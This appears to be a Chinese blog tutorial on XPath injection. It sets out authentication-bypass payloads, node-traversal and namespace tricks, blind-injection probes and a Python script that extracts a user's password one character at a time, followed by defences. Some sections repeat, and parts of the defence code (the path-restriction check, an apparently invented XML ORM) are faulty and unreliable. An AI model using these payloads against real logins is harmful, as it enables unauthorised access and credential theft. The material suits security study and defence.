Xpath注入学习和分析
XPath 是一种可以访问 XML 文件中的节和内容的查询语言。
快速获取 Xpath
- 就是手动获取
现代浏览器都支持这个 Xpath 路径复制
有这个完整和相对的这个区别
- 利用工具
一些浏览器插件之类工具调用获取
效果如上
验证
$x
函数
$x(xpathExpression, [contextNode])
比如我们获取到一段 Xpath 表达式
//*[@id='16858669']/div/h2/a
在控制台可以利用$x
函数
// 验证XPath是否能找到元素$x("//*[@id='16858669']/div/h2/a")
// 查看找到多少个元素$x("//*[@id='16858669']/div/h2/a").length
// 获取元素的文本内容$x("//*[@id='16858669']/div/h2/a")[0]?.textContent
// 获取元素的链接地址$x("//*[@id='16858669']/div/h2/a")[0]?.href
// 高亮显示找到的元素$x("//*[@id='16858669']/div/h2/a")[0]?.scrollIntoView()$x("//*[@id='16858669']/div/h2/a")[0]?.style.border = "3px solid red"
效果如下
直接返回这个元素的所有信息
Xpath 语法
常用的语法
- 选择直接子节点
//
选择任意位置的后代节点@
选择属性[]
- 谓语,用于筛选条件
常用函数
# 字符串函数string-length(), substring(), starts-with(), contains()normalize-space(), translate(), concat()
# 数学函数count(), sum(), number(), round(), floor(), ceiling()
# 节点函数name(), local-name(), namespace-uri()position(), last()
一个 xml 文件如下
<bookstore> <book id="1" category="fiction"> <title>Harry Potter</title> <author>J.K. Rowling</author> <price>29.99</price> </book> <book id="2" category="technical"> <title>Learning XML</title> <author>Erik T. Ray</author> <price>39.95</price> </book></bookstore>
查询如下
/bookstore/book # 选择所有书籍//title # 选择所有标题/bookstore/book[1] # 选择第一本书//book[@category='fiction'] # 选择类别为fiction的书//book[price>30] # 选择价格大于30的书//book/title/text() # 选择所有书籍标题的文本内容//@category # 选择所有category属性
Xpath 注入
原理如下
接受参数username
和password
# 用户输入username = input("username")password = input("password")
# 构造 XPath 查询query = f"//user[username/text()='{username}' and password/text()='{password}']"
# XML 示例数据<users> <user> <username>admin</username> <password>admin123</password> </user></users>
重点在于查询语句
query = f"//user[username/text()='{username}' and password/text()='{password}']"
如果我们巧妙构造
用户名:' or '1'='1密码:' or '1'='1
然后查询语句就如下
//user[username/text()='' or '1'='1' and password/text()='' or '1'='1']
恒为真,匹配到所有用户,造成 认证绕过! 恒为真,匹配到所有用户,造成 认证绕过!
但是 Xpath 的匹配还是比较严格的
还有一些绕过技巧
# 注释绕过' or '1'='1' (: comment :) and '1'='1
# 编码绕过' or '1'='1' and '1'='1
# 大小写绕过' OR '1'='1' AND '1'='1
如图片所示
节点遍历技术
使用特殊的XPath表达式可以遍历整个XML文档:
# 获取所有节点']|//*|//*['
# 获取所有属性']|//@*|//*['
就是构造
//user[username/text()='']|//*|//*[password/text()='123']
命名空间绕过
什么是空间命名
<root xmlns:a="http://example.com/a" xmlns:b="http://example.com/b"> <a:user>admin</a:user> <b:user>guest</b:user></root>
分别属于 a
和 b
命名空间
就是说在XPath 查询时,如果不指定命名空间,就找不到这些元素
所以我们手段就如下
有些XML文档使用命名空间,可以通过以下方式绕过:
local-name()
是 XPath 中的函数,返回不含命名空间前缀的标签名。
# 使用local-name()函数绕过命名空间限制' or local-name()='user' or '1'='1
我们可以尝尝把 Xpath 和 sql 对比起来分析学习
XPath 注入和SQL 注入 相比如下
比较点 | XPath 注入 | SQL 注入 |
---|---|---|
目标 | XML 数据库 / XML 文档 | 关系型数据库(MySQL、PostgreSQL) |
语言 | XPath | SQL |
特征 | 查询节点路径、属性、文本等 | 查询表、字段、值等 |
利用方式 | 猜解节点、读取 XML 数据 | 获取数据、执行命令、控制数据库 |
XPath 盲注技术
盲注原理:
大多数情况下,当服务器返回数据时,会对错误信息进行过滤,不会直接显示在用户页面上。但即使错误信息被过滤,攻击者仍然可以通过服务器的不同响应来判断查询结果。
盲注是一种在服务器不返回详细错误信息的情况下进行的注入技术。XPath盲注主要利用XPath的字符串操作函数和运算符,通过服务器的不同响应来推断信息。
盲注技术示例
假设有一个登录系统,使用以下XPath查询:
query = f"//user[username/text()='{username}' and password/text()='{password}']"
布尔盲注
通过构造返回布尔值的查询语句,逐位猜解数据:
# 判断第一个用户的密码长度是否大于5' and string-length(//user[1]/password/text()) > 5 and '1'='1
# 判断第一个用户的密码第一个字符是否为'a'' and substring(//user[1]/password/text(),1,1)='a' and '1'='1
时间盲注
某些XPath实现支持延时函数
# 如果条件成立,执行耗时操作' and (if(substring(//user[1]/password/text(),1,1)='a', sleep(5), false)) and '1'='1
自动化盲注工具
可以编写脚本自动化盲注过程,例如:
import requestsimport time
def xpath_blind(url, xpath_param): charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" result = "" pos = 1
# 先确定长度 length = 0 for i in range(1, 30): payload = f"' and string-length(//user[1]/password/text())={i} and '1'='1" r = requests.get(url, params={xpath_param: payload}) if "登录成功" in r.text: length = i break
print(f"Password length: {length}")
# 逐位猜解 for i in range(1, length+1): for char in charset: payload = f"' and substring(//user[1]/password/text(),{i},1)='{char}' and '1'='1" r = requests.get(url, params={xpath_param: payload}) if "登录成功" in r.text: result += char print(f"Found character at position {i}: {char}") break
return result
节点遍历技术
使用特殊的XPath表达式可以遍历整个XML文档:
# 获取所有节点']|//*|//*['
# 获取所有属性']|//@*|//*['
命名空间绕过
什么是空间命名
<root xmlns:a="http://example.com/a" xmlns:b="http://example.com/b"> <a:user>admin</a:user> <b:user>guest</b:user></root>
分别属于 a
和 b
命名空间
就是说在XPath 查询时,如果不指定命名空间,就找不到这些元素
所以我们手段就如下
有些XML文档使用命名空间,可以通过以下方式绕过:
local-name()
是 XPath 中的函数,返回不含命名空间前缀的标签名。
# 使用local-name()函数绕过命名空间限制' or local-name()='user' or '1'='1
防御策略与分析
这里以 Python 代码为例子
Python示例 - 安全的XPath查询
某些XPath库支持参数化查询,类似于SQL的预处理语句:
import xml.etree.ElementTree as ETimport re
def safe_xpath_query(username, password): # 1. 输入验证与过滤 if not re.match(r'^[a-zA-Z0-9_]+$', username): return None
# 2. 参数化查询(如果XPath处理器支持) # xpath = f"//user[@username='{username}' and @password='{password}']"
# 或使用XML DOM安全查询 root = ET.parse('users.xml').getroot() for user in root.findall('user'): if (user.get('username') == username and user.get('password') == password): return user return None
最后一种防御就是
XML 当作树 → 直接取属性 → 不走字符串 → 天生安全。
使用ORM框架
对于XML数据,
使用专门的ORM框架可以减少直接编写XPath查询的需要
# 使用XML ORM框架示例from xmlorm import XMLModel, Field
class User(XMLModel): username = Field() password = Field()
# 安全查询user = User.query.filter(User.username == username, User.password == password).first()
最小权限原则
确保XML处理代码只有必要的最小权限:
# 限制XPath查询只能访问特定节点def restricted_xpath_query(query, allowed_paths): # 检查查询是否只访问允许的路径 for path in allowed_paths: if not query.startswith(path): return None # 执行查询...